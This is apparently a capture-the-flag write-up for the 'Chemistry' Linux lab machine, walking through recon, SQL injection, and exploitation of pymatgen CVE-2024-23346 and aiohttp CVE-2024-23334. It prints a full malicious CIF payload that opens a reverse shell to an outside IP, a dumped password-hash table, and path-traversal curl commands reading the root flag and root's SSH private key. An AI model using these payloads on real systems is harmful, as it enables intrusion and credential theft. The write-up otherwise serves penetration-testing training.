Chemistry is an easy-difficulty Linux machine that showcases a Remote Code Execution (RCE) vulnerability in the pymatgen (CVE-2024-23346) Python library by uploading a malicious CIF file to the hosted CIF Analyzer website on the target. After discovering and cracking hashes, we authenticate to the target via SSH as rosa user. For privilege escalation, we exploit a Path Traversal vulnerability that leads to an Arbitrary File Read in a Python library called AioHTTP (CVE-2024-23334) which is used on the web application running internally to read the root flag.
Great box for beginner penetration testers just diving into basic enumeration, SQL injection, password cracking, and LFI. Proof-of-concepts are easy to follow and use or read the source-code and attempt to manually craft the payload.
Recon - nmap
nmap -p 22,5000 10.129.152.225 --min-rate 10000Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-11 06:17 EDTNmap scan report for 10.129.152.225Host is up (0.024s latency).
PORT STATE SERVICE22/tcp open ssh5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds➜ chemistry nmap -p 22,5000 10.129.152.225 -sCV -T5Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-11 06:17 EDTnmap -p 22,5000 10.129.152.225 -sCV -T5Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-11 06:17 EDTStats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service ScanService scan Timing: About 50.00% done; ETC: 06:17 (0:00:06 remaining)Nmap scan report for 10.129.152.225Host is up (0.025s latency).
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)| 256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)|_ 256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)5000/tcp open http Werkzeug httpd 3.0.3 (Python 3.9.5)|_http-title: Chemistry - Home|_http-server-header: Werkzeug/3.0.3 Python/3.9.5Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 7.45 secondsHTTP 5000

We discovered the login page for the main website.

We registered a user: admin' OR 1=1 LIMIT 1;-- - allowed us normal access.
data_Example_cell_length_a 10.00000_cell_length_b 10.00000_cell_length_c 10.00000_cell_angle_alpha 90.00000_cell_angle_beta 90.00000_cell_angle_gamma 90.00000_symmetry_space_group_name_H-M 'P 1'loop_ _atom_site_label _atom_site_fract_x _atom_site_fract_y _atom_site_fract_z _atom_site_occupancy H 0.00000 0.00000 0.00000 1 O 0.50000 0.50000 0.50000 1Found CFI example file
Here’s an example of the downloaded file. We can research the CIF file type on Google for more information.

We discovered a prof-of-concept vulnerability. prof-of-concept link
#poc #commandinjection
data_5yOhtAoR_audit_creation_date 2018-06-08_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop__parent_propagation_vector.id_parent_propagation_vector.kxkykzk1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.65/1234 0>&1'");0,0,0'
_space_group_magn.number_BNS 62.448_space_group_magn.name_BNS "P n' m a' "Foothold
We established our foothold with this payload.
nc -lvnp 1234
listening on [any] 1234 ...connect to [10.10.14.65] from (UNKNOWN) [10.129.152.225] 33064bash: cannot set terminal process group (1040): Inappropriate ioctl for devicebash: no job control in this shellapp@chemistry:~$ ididuid=1001(app) gid=1001(app) groups=1001(app)app@chemistry:~$No special groups that we’re apart of.
app@chemistry:~$ cat app.pyfrom flask import Flask, render_template, request, redirect, url_for, flashfrom werkzeug.utils import secure_filenamefrom flask_sqlalchemy import SQLAlchemyfrom flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_userfrom pymatgen.io.cif import CifParserimport hashlibimport osimport uuid
app = Flask(__name__)app.config['SECRET_KEY'] = 'MyS3cretCh3mistry4PP'app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'app.config['UPLOAD_FOLDER'] = 'uploads/'app.config['ALLOWED_EXTENSIONS'] = {'cif'}MyS3cretCh3mistry4PP is the secret-key to the database.
app@chemistry:~$ lsapp.py instance static templates uploadsapp@chemistry:~$ cd instanceapp@chemistry:~/instance$ lsdatabase.dbapp@chemistry:~/instance$ ls -latotal 28drwx------ 2 app app 4096 Mar 11 11:00 .drwxr-xr-x 8 app app 4096 Mar 11 11:14 ..-rwx------ 1 app app 20480 Mar 11 11:00 database.dbapp@chemistry:~/instance$ sqlite3 database.dbSQLite version 3.31.1 2020-01-27 19:55:54Enter ".help" for usage hints.sqlite> .tablesstructure usersqlite> select * from user;1|admin|2861debaf8d99436a10ed6f75a252abf2|app|197865e46b878d9e74a0346b6d59886a3|rosa|63ed86ee9f624c7b14f1d4f43dc251a54|robert|02fcf7cfc10adc37959fb21f06c6b4675|jobert|3dec299e06f7ed187bac06bd3b670ab26|carlos|9ad48828b0955513f7cf0f7f6510c8f87|peter|6845c17d298d95aa942127bdad2ceb9b8|victoria|c3601ad2286a4293868ec2a4bc606ba39|tania|a4aa55e816205dc0389591c9f82f43bb10|eusebio|6cad48078d0241cca9a7b322ecd073b311|gelacia|4af70c80b68267012ecdac9a7e916d1812|fabian|4e5d71f53fdd2eabdbabb233113b5dc013|axel|9347f9724ca083b17e39555c36fd900714|kristel|6896ba7b11a62cacffbdaded457c6d9215|admin' OR 1=1 LIMIT 1;-- -|5f4dcc3b5aa765d61d8327deb882cf99
We cracked the password for rosa:unicorniosrosados
Server Foothold
rosa@chemistry:~$ iduid=1000(rosa) gid=1000(rosa) groups=1000(rosa)rosa@chemistry:~$ lsuser.txtWe discovered the user flag.
Priv Esc
Started going through Post-Breakout Recon and discover:
rosa@chemistry:~$ netstat -tulnp(Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.)Active Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program nametcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN -tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -tcp6 0 0 :::22 :::* LISTEN -udp 0 0 127.0.0.53:53 0.0.0.0:* -udp 0 0 0.0.0.0:68 0.0.0.0:* -That we have an unusual service running on port 8080.
rosa@chemistry:~$ curl -I http://127.0.0.1:8080HTTP/1.1 200 OKContent-Type: text/html; charset=utf-8Content-Length: 5971Date: Tue, 11 Mar 2025 14:14:10 GMTServer: Python/3.9 aiohttp/3.9.1We discovered that the server is Python 3.9 and uses aiohttp/3.9.1 so we began looking for a vulnerability.
SSH Port Forwarding - Subdomain
ssh -L 8080:127.0.0.1:8080 rosa@10.129.152.225So we set up a SSH port forwarding(local forwarding) to our attack machine for us to take a look at on our browser.
It appears to be a simple site monitoring dashboard.
Root Flag
Based on the vulnerability wizarddos/poc & jhonnybonny/poc we discovered a LFI vulnerability. #poc #lfi
rosa@chemistry:~$ curl -s --path-as-is http://127.0.0.1:8080/assets/../../../../../../root/root.txt769047fd1311e1afe754dc19d97826d4--path-as-is
- Tells
curlnot to modify the request URL path. - Normally,
curlmight normalize the path (e.g., removing redundant slashes or dots like../). - This option is crucial for bypassing web filters, exploiting LFI, SSTI, or path traversal vulnerabilities.
When to Use --path-as-is
✅ Exploiting LFI, RFI, or Path Traversal bugs.
✅ Testing web servers that mishandle unconventional URL paths.
✅ Bypassing WAF rules that expect sanitized paths.
Root User
We also managed to get the root SSH Key
rosa@chemistry:~$ curl -s --path-as-is http://127.0.0.1:8080/assets/../../../../../../root/.ssh/id_rsa-----BEEGIN OPENSSH PRIVATE KEY----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcnNhAAAAAwEAAQAAAYEAsFbYzGxskgZ6YM1LOUJsjU66WHi8Y2ZFQcM3G8VjO+NHKK8P0hIUUbnmTGaPeW4evLeehnYFQleaC9u//vciBLNOWGqeg6Kjsq2lVRkAvwK2suJSTtVZ8qGi1vj0wO69QoWrHERaRqmTzranVyYAdTmiXlGqUyiy0I7GVYqhv/QC7jt6For4PMAjcT0ED3GkEAAAGBALBW2MxsbJIGemDNSzlCbI1Oulh4vGNmRUHDNxvFYzvjRyivD9ISFFG55kxmj3luHry3noZ2BUJXmgvbv/73IgSzTlhqnoOio7KtpVUZAL8CtrLiUk7VWfKhotb49MDuvUKFqxxEWkapk862p1cmAHU5ol5RqlMostCOxlWKob/0Au47ehaK+DzAI3E9BA9xpB1STjW89nmr<SNIP>